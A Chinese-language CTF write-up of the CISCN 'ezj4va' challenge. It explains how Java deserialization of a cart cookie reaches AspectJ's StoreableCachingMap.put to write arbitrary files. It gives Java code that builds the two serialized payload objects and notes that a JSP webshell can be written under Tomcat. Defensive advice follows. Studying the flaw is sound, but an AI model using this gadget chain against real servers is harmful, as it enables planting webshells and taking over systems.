一道题看 aspectj 下的任意文件写
字数 1534 2025-08-09 19:33:17

AspectJ下的任意文件写入漏洞分析与利用

漏洞概述

本教学文档详细分析了一个基于AspectJ的Java反序列化漏洞,该漏洞可导致任意文件写入。漏洞存在于使用AspectJ缓存机制的应用程序中,通过精心构造的反序列化对象,攻击者可以利用SimpleCache$StoreableCachingMapput方法实现任意文件写入。

环境搭建

  1. 项目导入

    • 将项目拖入IDEA
    • 右键项目文件夹 -> Add Framework Support -> 选中Web Application
    • 添加Tomcat Server并修改Application Context
  2. 项目地址

    • GitHub仓库:https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip

漏洞分析

核心漏洞点

  1. 反序列化入口

    • 位于Deserializer
    • 项目依赖中缺少常用反序列化链,但包含AspectJ
  2. 关键类分析

    • SimpleCache$StoreableCachingMapput方法
    • 该方法可将数据写入指定路径的文件
  3. 调用链

    • CartServiceImpl.addToCart方法
      • 第36行:Cart cart = Serializer.deserialize(oldCartStr)
      • 使用反序列化后的对象进行操作
    • CartController.add方法
      • 通过/cart/add路由访问
      • oldCart来自cookie中的cart
      • skus通过参数传递

利用条件

  1. 控制skuDescribe字段
  2. 构造特定的HashMap对象
  3. 控制put方法的键和值参数

漏洞利用

利用步骤

  1. 构造恶意对象

    • 创建Cart对象
    • 通过反射设置skuDescribe字段为StoreableCachingMap实例
    • 指定写入路径(如C:/test/
  2. 构造触发对象

    • 创建另一个Cart对象
    • 设置skuDescribe为包含恶意内容的HashMap
  3. 发送请求

    • 将第一个对象序列化后放入cookie的cart字段
    • 将第二个对象序列化后URL编码作为skus参数

示例代码

@WebServlet(urlPatterns = ("/test"))
public class TestController extends HttpServlet {
    protected String getSkus() {
        try {
            Cart cart = new Cart();
            Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
            sku_f.setAccessible(true);
            HashMap hashMap = new HashMap<>();
            String values = "abc"; // 恶意内容
            hashMap.put("test", values.getBytes());
            sku_f.set(cart, hashMap);
            return Serializer.serialize(cart);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }

    protected String getOldCart() {
        try {
            Cart cart = new Cart();
            Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
            sku_f.setAccessible(true);
            Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
            Constructor constructor = clazz.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            Object o = constructor.newInstance("C:/test/", 1); // 指定写入路径
            sku_f.set(cart, o);
            return Serializer.serialize(cart);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }
}

实际利用

  1. 在Tomcat环境下,可直接写入JSP webshell
  2. 注意put方法会将value强制转换为byte[]
  3. 写入路径由StoreableCachingMap构造函数的第一个参数指定

关键点总结

  1. 漏洞本质:通过反序列化控制StoreableCachingMapput方法实现任意文件写入
  2. 与CC链区别:不像CC链那样复杂,直接利用应用程序自身的功能
  3. 依赖关系:主要依赖题目自带的addToCart函数实现利用
  4. 利用限制:需要控制两个序列化对象(cookie中的cart和参数中的skus)

防御建议

  1. 避免反序列化不可信数据
  2. StoreableCachingMap的使用进行安全限制
  3. 实施输入验证和过滤
  4. 使用安全的序列化/反序列化机制

参考资源

  1. AspectJ相关知识点:https://www.cnblogs.com/sijidou/p/14631154.html
  2. ysoserial中的AspectJWeaver链:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

通过本教学文档,读者可以全面了解该漏洞的原理、利用方法及防御措施,为Java反序列化安全研究提供有价值的参考。

AspectJ下的任意文件写入漏洞分析与利用 漏洞概述 本教学文档详细分析了一个基于AspectJ的Java反序列化漏洞,该漏洞可导致任意文件写入。漏洞存在于使用AspectJ缓存机制的应用程序中,通过精心构造的反序列化对象,攻击者可以利用 SimpleCache$StoreableCachingMap 的 put 方法实现任意文件写入。 环境搭建 项目导入 : 将项目拖入IDEA 右键项目文件夹 -> Add Framework Support -> 选中Web Application 添加Tomcat Server并修改Application Context 项目地址 : GitHub仓库:https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip 漏洞分析 核心漏洞点 反序列化入口 : 位于 Deserializer 类 项目依赖中缺少常用反序列化链,但包含AspectJ 关键类分析 : SimpleCache$StoreableCachingMap 的 put 方法 该方法可将数据写入指定路径的文件 调用链 : CartServiceImpl.addToCart 方法 第36行: Cart cart = Serializer.deserialize(oldCartStr) 使用反序列化后的对象进行操作 CartController.add 方法 通过 /cart/add 路由访问 oldCart 来自cookie中的 cart 值 skus 通过参数传递 利用条件 控制 skuDescribe 字段 构造特定的 HashMap 对象 控制 put 方法的键和值参数 漏洞利用 利用步骤 构造恶意对象 : 创建 Cart 对象 通过反射设置 skuDescribe 字段为 StoreableCachingMap 实例 指定写入路径(如 C:/test/ ) 构造触发对象 : 创建另一个 Cart 对象 设置 skuDescribe 为包含恶意内容的 HashMap 发送请求 : 将第一个对象序列化后放入cookie的 cart 字段 将第二个对象序列化后URL编码作为 skus 参数 示例代码 实际利用 在Tomcat环境下,可直接写入JSP webshell 注意 put 方法会将value强制转换为 byte[] 写入路径由 StoreableCachingMap 构造函数的第一个参数指定 关键点总结 漏洞本质 :通过反序列化控制 StoreableCachingMap 的 put 方法实现任意文件写入 与CC链区别 :不像CC链那样复杂,直接利用应用程序自身的功能 依赖关系 :主要依赖题目自带的 addToCart 函数实现利用 利用限制 :需要控制两个序列化对象(cookie中的cart和参数中的skus) 防御建议 避免反序列化不可信数据 对 StoreableCachingMap 的使用进行安全限制 实施输入验证和过滤 使用安全的序列化/反序列化机制 参考资源 AspectJ相关知识点:https://www.cnblogs.com/sijidou/p/14631154.html ysoserial中的AspectJWeaver链:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java 通过本教学文档,读者可以全面了解该漏洞的原理、利用方法及防御措施,为Java反序列化安全研究提供有价值的参考。